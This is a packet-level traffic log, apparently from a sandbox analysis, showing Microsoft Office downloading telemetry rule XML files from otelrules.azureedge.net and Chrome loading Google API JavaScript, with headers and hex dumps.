2024-11-18 07:55:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 56737357-c01e-0014-3efa-36a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075530Z-164f84587bfs5tz9hC1DFW9a3w00000005mg000000005scc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:30 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 608c19dc-201e-005d-1a7c-37afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075530Z-164f84587bftbpb6hC1DFWm4kg000000048000000000952c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:30 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:30 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075530Z-16547b76f7fkf5v9hC1DFW2y5s00000005cg000000007wz3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:30 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4dbbda22-e01e-0033-5212-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075530Z-164f84587bf7jb9dhC1DFWkay4000000052000000000e44u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49772	142.250.185.174	443	316	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:30 UTC	729	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 07:55:31 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat, 16 Nov 2024 17:27:26 GMT Expires: Sun, 16 Nov 2025 17:27:26 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 138484 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-18 07:55:31 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-18 07:55:31 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-18 07:55:31 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-18 07:55:31 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-18 07:55:31 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-18 07:55:31 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-18 07:55:31 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-18 07:55:31 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-18 07:55:31 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-18 07:55:31 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:31 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075531Z-1866b5c5fbbzzh8chC1DFWdrc40000000560000000005w6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

